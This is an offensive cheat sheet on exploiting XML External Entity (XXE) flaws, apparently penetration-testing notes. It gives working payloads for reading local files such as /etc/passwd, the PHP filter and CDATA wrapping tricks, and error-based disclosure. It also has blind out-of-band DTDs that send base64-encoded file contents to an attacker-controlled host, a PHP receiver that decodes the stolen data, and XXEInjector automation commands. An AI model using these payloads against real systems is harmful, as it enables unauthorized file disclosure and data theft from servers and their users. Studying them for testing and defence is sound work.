PRIMARY CATEGORY → XXE
An XML External Entity (XXE) vulnerability occurs when an application parses attacker-controlled XML while allowing DTD processing or external resource resolution
Depending on the parser configuration, an XXE may lead to local file disclosure, SSRF, internal network access, Out-of-Band data exfiltration or, in uncommon configurations, command execution
Theory
For an XXE to be exploitable, the input must reach an XML parser that processes DTDs or resolves external entities
MIME type validation does not prevent XXE. Formats such as SVG, SOAP or other XML-based documents may still be processed by a vulnerable XML parser
There are two main entity types →
General Entity
- Declared as
<!ENTITY name "..."> - Referenced as
&name; - Used primarily within the XML document content
Parameter Entity
- Declared as
<!ENTITY % name "..."> - Referenced as
%name; - Used only within the DTD
General and parameter entities use separate namespaces
Parameter entities are not exclusive to external DTDs. They may also be used in the internal DTD subset, although XML restricts where they may be referenced
EntityValue
An EntityValue is the replacement text stored by an internal entity
<!ENTITY % message "replacement text">Parameter-entity references may be processed while constructing this replacement text
SystemLiteral
A SystemLiteral identifies an external resource
<!ENTITY % file SYSTEM "file:///etc/hostname">In this example, "file:///etc/hostname" is the SystemLiteral
Parameter entities are not expanded inside a SystemLiteral. This is important when dynamically constructing an exfiltration URL
Simple XXE
e.g.
file://<FILE_PATH>
When an XML value is reflected in the HTTP response, we can define a general external entity and reference it in the reflected field
Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<foo>
&file;
</foo>The DOCTYPE name should match the document root element
The entity must be referenced in a field whose parsed value reaches the HTTP response
PHP Filter Wrapper XXE
For PHP web applications
The extracted file may contain line breaks or XML-sensitive characters such as <, > or &, which could break the resulting XML document
The PHP Filter Wrapper can encode the resource before the parser inserts it into the document
Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/index.php">
]>
<foo>
&file;
</foo>Decode the returned value locally →
echo '<BASE64_DATA>' | base64 -dBase64 is not mandatory, but it prevents line breaks and XML-sensitive characters from corrupting the document
CDATA XXE
Useful when PHP stream wrappers are unavailable
A CDATA section causes the XML parser to treat characters such as <, > and & as text instead of markup
<![CDATA[
<FILE_CONTENT>
]]>To dynamically wrap a local file inside CDATA, we can use parameter entities from an external DTD
Creating an External DTD
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///var/www/html/index.php">
<!ENTITY % end "]]>">
<!ENTITY % declare "<!ENTITY content '%start;%file;%end;'>">
%declare;Setting up an HTTP Server
python3 -m http.server 80Sending the XXE Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://<ATTACKER_IP>/evil.dtd">
%dtd;
]>
<foo>
&content;
</foo>The external DTD is required because the internal DTD subset does not permit parameter-entity references inside another markup declaration
This is an XML grammar restriction. It is not caused by the internal DTD being validated line by line
External DTDs permit parameter-entity references inside markup declarations, allowing %declare; to generate the content general entity
This method may still fail if the disclosed resource contains the ]]> sequence
Error-Based XXE
If the application does not reflect the parsed XML but returns detailed parser errors, file contents may be disclosed inside an error message
Creating an External DTD
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % stage "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%stage;
%error;The entities are processed as follows
-
%file;reads and encodes the local resource -
%stage;expands into another parameter-entity declaration -
%becomes the%character without being interpreted prematurely -
%error;attempts to access a nonexistent path containing the encoded data
The parser may include that path in its error response
Setting up an HTTP Server
python3 -m http.server 80Sending the XXE Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://<ATTACKER_IP>/evil.dtd">
%dtd;
]>
<foo/>This technique depends on verbose errors and parser-specific behaviour
Blind OOB XXE
A Blind XXE occurs when the parser resolves external entities but neither their value nor parser errors reach the HTTP response
In this case, an external callback can be used to confirm entity resolution and exfiltrate information
Manual
Confirming External Entity Resolution
First, use a unique external resource to determine whether the parser performs outbound requests
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % callback SYSTEM "http://<ATTACKER_IP>:<PORT>/xxe-test">
%callback;
]>
<foo/>Receiving the request confirms that an external entity was resolved, but does not automatically prove arbitrary file disclosure
Why an Intermediate Entity Is Required
The following structure does not work as expected
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % exfil SYSTEM "http://<ATTACKER_IP>:<PORT>/?content=%file;">
%exfil;%file; cannot be expanded directly inside the SystemLiteral used by %exfil
Instead, an intermediate entity must store another entity declaration inside its EntityValue
Creating an External DTD
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/hostname">
<!ENTITY % stage "<!ENTITY % exfil SYSTEM 'http://<ATTACKER_IP>:<PORT>/?content=%file;'>">
%stage;
%exfil;The entities are processed as follows
-
%file;reads and encodes the local file -
%stage;contains another entity declaration as replacement text -
%becomes the%character -
Expanding
%stage;declares%exfil; -
Expanding
%exfil;sends the file contents to the external server
Setting up an HTTP Server
Create an index.php file to decode the received parameter and write it to the terminal running the PHP development server
<?php
if (!isset($_GET['content'])) {
http_response_code(204);
exit;
}
$encoded = str_replace(' ', '+', $_GET['content']);
$decoded = base64_decode($encoded, true);
error_log(
$decoded === false
? '[XXE] Invalid Base64 data'
: "\n[XXE]\n" . $decoded
);
http_response_code(204);print_r() would write the decoded value into the HTTP response body
error_log() writes it to the PHP server error stream, which is displayed in the terminal when using php -S
Start the server
php -S 0.0.0.0:<PORT>PHP decodes query-string parameters automatically. Since + may become a space during this process, the receiver restores it before decoding the Base64 value
Sending the XXE Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://<ATTACKER_IP>:<PORT>/evil.dtd">
%dtd;
]>
<foo/>No &entity; reference is required in the document body because %exfil; is invoked while processing the external DTD
Limitations
-
Query strings have length limits
-
Large files may require chunked extraction
-
Base64 characters may require normalization or URL-safe transport
-
Outbound HTTP or DNS connections may be restricted
-
The parser may permit
http://while blockingfile://and so on -
A unique callback path should be used for every test
Automatic
XXEInjector
- Setup
git clone https://github.com/enjoiz/XXEinjector XXEInjector
cd XXEInjector- Usage
Intercept the vulnerable HTTP request and save it into a file before passing it to the tool
ruby XXEInjector.rb \
--host=<ATTACKER_IP> \
--httpport=<ATTACKER_PORT> \
--file=<REQUEST_FILE> \
--path=<FILE_TO_DISCLOSE> \
--oob=http \
--phpfilterSet up the required HTTP server
php -S 0.0.0.0:<PORT>The extracted data should be stored under the following path
Logs/<TARGET>/<RESOURCE_FULL_PATH>.logThe vulnerability should be validated manually first, as the supported techniques and options depend on the parser and the installed tool version